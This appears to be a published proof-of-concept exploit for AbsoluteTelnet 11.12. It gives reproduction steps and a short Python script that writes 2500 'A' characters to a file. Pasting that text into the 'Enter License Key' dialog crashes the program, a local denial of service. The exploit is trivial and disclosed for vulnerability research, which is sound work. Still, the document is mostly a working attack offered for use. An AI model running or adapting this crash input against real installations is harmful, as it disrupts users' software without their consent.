# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC)# Discovery by: chuyreds# Discovery Date: 2020-02-05# Vendor Homepage: https://www.celestialsoftware.net/# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe# Tested Version: 11.12# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows 10 Pro x64 es#Steps to produce the crash:#1.- Run python code: AbsoluteTelent 11.12_license_code.py#2.- Open AbsoluteTelent_license_code.txt and copy content to clipboard#3.- Open AbsoluteTelnet.exe#4.- Select "Help" > "Enter License Key"#5.- In "License code" paste Clipboard#6.- Crashed
cod = "\x41"* 2500
f = open('AbsoluteTelent_license_code.txt','w')
f.write(cod)
f.close()